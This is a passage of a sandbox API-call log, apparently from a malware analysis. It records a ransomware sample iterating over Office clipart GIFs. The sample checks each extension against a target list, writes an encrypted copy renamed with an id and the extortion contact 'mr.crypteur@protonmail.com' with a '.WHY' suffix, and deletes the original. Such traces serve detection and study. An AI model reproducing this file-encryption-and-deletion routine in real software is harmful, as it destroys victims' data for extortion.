Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0234.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0234.225] lstrlenW (lpString=".doc") returned 4 [0234.226] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0234.226] lstrlenW (lpString=".docx") returned 5 [0234.226] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0234.226] lstrlenW (lpString=".pdf") returned 4 [0234.226] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0234.226] lstrlenW (lpString=".xls") returned 4 [0234.226] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0234.226] lstrlenW (lpString=".xlsx") returned 5 [0234.226] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0234.226] lstrlenW (lpString=".ppt") returned 4 [0234.226] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0234.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0234.226] lstrlenW (lpString=".zip") returned 4 [0234.227] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0234.227] lstrlenW (lpString=".rar") returned 4 [0234.227] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0234.227] lstrlenW (lpString=".bz2") returned 4 [0234.227] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0234.227] lstrlenW (lpString=".7z") returned 3 [0234.227] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0234.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0234.227] lstrlenW (lpString=".dbf") returned 4 [0234.227] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0234.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0234.227] lstrlenW (lpString=".1cd") returned 4 [0234.227] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0234.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0234.227] lstrlenW (lpString=".jpg") returned 4 [0234.227] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0234.387] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0234.388] lstrlenW (lpString="AG00135_.GIF") returned 12 [0234.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0234.559] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=2596) returned 1 [0234.559] CloseHandle (hObject=0x380) returned 1 [0234.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 0x20 [0234.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0234.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0234.674] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.674] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0234.675] GetLastError () returned 0x0 [0234.675] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0xa24, lpOverlapped=0x0) returned 1 [0234.758] WriteFile (in: hFile=0x354, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xa30, lpOverlapped=0x0) returned 1 [0234.761] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0234.761] WriteFile (in: hFile=0x354, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0234.761] SetEndOfFile (hFile=0x354) returned 1 [0234.762] CloseHandle (hObject=0x354) returned 1 [0234.763] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.763] SetEndOfFile (hFile=0x390) returned 1 [0234.769] CloseHandle (hObject=0x390) returned 1 [0234.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0234.774] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 1 [0234.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0234.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0234.991] lstrlenW (lpString=".doc") returned 4 [0234.992] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0234.992] lstrlenW (lpString=".docx") returned 5 [0234.992] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0234.992] lstrlenW (lpString=".pdf") returned 4 [0234.992] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0234.992] lstrlenW (lpString=".xls") returned 4 [0234.994] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0234.994] lstrlenW (lpString=".xlsx") returned 5 [0234.994] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0234.994] lstrlenW (lpString=".ppt") returned 4 [0234.994] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0234.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0234.995] lstrlenW (lpString=".zip") returned 4 [0234.995] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0234.995] lstrlenW (lpString=".rar") returned 4 [0234.995] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0234.995] lstrlenW (lpString=".bz2") returned 4 [0234.995] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0234.995] lstrlenW (lpString=".7z") returned 3 [0234.995] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0234.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0234.995] lstrlenW (lpString=".dbf") returned 4 [0234.995] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0234.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0234.995] lstrlenW (lpString=".1cd") returned 4 [0234.996] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0234.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0234.996] lstrlenW (lpString=".jpg") returned 4 [0234.996] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0234.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0234.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0234.996] lstrlenW (lpString=".doc") returned 4 [0234.996] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0234.996] lstrlenW (lpString=".docx") returned 5 [0234.996] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0234.996] lstrlenW (lpString=".pdf") returned 4 [0234.996] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0234.996] lstrlenW (lpString=".xls") returned 4 [0234.997] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0234.997] lstrlenW (lpString=".xlsx") returned 5 [0234.997] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0234.997] lstrlenW (lpString=".ppt") returned 4 [0234.997] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0234.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0234.997] lstrlenW (lpString=".zip") returned 4 [0234.997] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0234.997] lstrlenW (lpString=".rar") returned 4 [0234.997] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0234.997] lstrlenW (lpString=".bz2") returned 4 [0234.997] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0234.997] lstrlenW (lpString=".7z") returned 3 [0234.998] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0234.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0234.998] lstrlenW (lpString=".dbf") returned 4 [0234.998] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0234.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0234.998] lstrlenW (lpString=".1cd") returned 4 [0234.998] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0234.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0234.998] lstrlenW (lpString=".jpg") returned 4 [0234.998] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0234.999] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0234.999] lstrlenW (lpString="AG00154_.GIF") returned 12 [0234.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0236.474] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=5315) returned 1 [0236.474] CloseHandle (hObject=0x38c) returned 1 [0236.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 0x20 [0236.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0236.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0236.522] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.522] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0236.568] GetLastError () returned 0x0 [0236.568] ReadFile (in: hFile=0x39c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x14c3, lpOverlapped=0x0) returned 1 [0238.223] WriteFile (in: hFile=0x3ac, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x14d0, lpOverlapped=0x0) returned 1 [0238.227] ReadFile (in: hFile=0x39c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0238.236] WriteFile (in: hFile=0x3ac, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0238.236] SetEndOfFile (hFile=0x3ac) returned 1 [0238.238] CloseHandle (hObject=0x3ac) returned 1 [0238.240] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0238.240] SetEndOfFile (hFile=0x39c) returned 1 [0238.257] CloseHandle (hObject=0x39c) returned 1 [0238.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0238.259] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 1 [0238.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0238.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0238.261] lstrlenW (lpString=".doc") returned 4 [0238.261] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0238.261] lstrlenW (lpString=".docx") returned 5 [0238.261] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0238.261] lstrlenW (lpString=".pdf") returned 4 [0238.261] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0238.261] lstrlenW (lpString=".xls") returned 4 [0238.261] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0238.261] lstrlenW (lpString=".xlsx") returned 5 [0238.261] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0238.261] lstrlenW (lpString=".ppt") returned 4 [0238.261] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0238.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0238.264] lstrlenW (lpString=".zip") returned 4 [0238.264] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0238.265] lstrlenW (lpString=".rar") returned 4 [0238.265] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0238.265] lstrlenW (lpString=".bz2") returned 4 [0238.265] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0238.265] lstrlenW (lpString=".7z") returned 3 [0238.265] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0238.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0238.265] lstrlenW (lpString=".dbf") returned 4 [0238.265] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0238.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0238.265] lstrlenW (lpString=".1cd") returned 4 [0238.265] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0238.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0238.266] lstrlenW (lpString=".jpg") returned 4 [0238.266] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0238.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0238.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0238.266] lstrlenW (lpString=".doc") returned 4 [0238.266] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0238.266] lstrlenW (lpString=".docx") returned 5 [0238.266] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0238.266] lstrlenW (lpString=".pdf") returned 4 [0238.266] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0238.266] lstrlenW (lpString=".xls") returned 4 [0238.266] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0238.267] lstrlenW (lpString=".xlsx") returned 5 [0238.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0238.267] lstrlenW (lpString=".ppt") returned 4 [0238.267] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0238.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0238.267] lstrlenW (lpString=".zip") returned 4 [0238.267] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0238.267] lstrlenW (lpString=".rar") returned 4 [0238.267] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0238.267] lstrlenW (lpString=".bz2") returned 4 [0238.267] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0238.267] lstrlenW (lpString=".7z") returned 3 [0238.267] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0238.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0238.268] lstrlenW (lpString=".dbf") returned 4 [0238.268] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0238.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0238.268] lstrlenW (lpString=".1cd") returned 4 [0238.268] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0238.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0238.663] lstrlenW (lpString=".jpg") returned 4 [0238.664] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0238.664] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0238.664] lstrlenW (lpString="AG00163_.GIF") returned 12 [0238.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0240.412] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=6984) returned 1 [0240.412] CloseHandle (hObject=0x37c) returned 1 [0240.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 0x20 [0240.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0240.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0240.644] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.644] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0240.685] GetLastError () returned 0x0 [0240.685] ReadFile (in: hFile=0x3a4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x1b48, lpOverlapped=0x0) returned 1 [0240.719] WriteFile (in: hFile=0x258, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x1b50, lpOverlapped=0x0) returned 1 [0240.723] ReadFile (in: hFile=0x3a4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0240.723] WriteFile (in: hFile=0x258, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0240.724] SetEndOfFile (hFile=0x258) returned 1 [0240.724] CloseHandle (hObject=0x258) returned 1 [0240.727] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.727] SetEndOfFile (hFile=0x3a4) returned 1 [0240.735] CloseHandle (hObject=0x3a4) returned 1 [0240.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0240.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0240.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0240.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0240.737] lstrlenW (lpString=".doc") returned 4 [0240.737] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0240.737] lstrlenW (lpString=".docx") returned 5 [0240.737] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0240.737] lstrlenW (lpString=".pdf") returned 4 [0240.737] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0240.738] lstrlenW (lpString=".xls") returned 4 [0240.738] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0240.738] lstrlenW (lpString=".xlsx") returned 5 [0240.738] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0240.738] lstrlenW (lpString=".ppt") returned 4 [0240.738] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0240.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0240.738] lstrlenW (lpString=".zip") returned 4 [0240.738] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0240.738] lstrlenW (lpString=".rar") returned 4 [0240.738] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0240.738] lstrlenW (lpString=".bz2") returned 4 [0240.738] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0240.738] lstrlenW (lpString=".7z") returned 3 [0240.739] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0240.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0240.739] lstrlenW (lpString=".dbf") returned 4 [0240.739] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0240.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0240.739] lstrlenW (lpString=".1cd") returned 4 [0240.739] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0240.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0240.739] lstrlenW (lpString=".jpg") returned 4 [0240.739] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0240.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0240.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0240.740] lstrlenW (lpString=".doc") returned 4 [0240.740] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0240.740] lstrlenW (lpString=".docx") returned 5 [0240.740] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0240.740] lstrlenW (lpString=".pdf") returned 4 [0240.740] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0240.741] lstrlenW (lpString=".xls") returned 4 [0240.741] lstrcmpiW (lpString1=".xls", 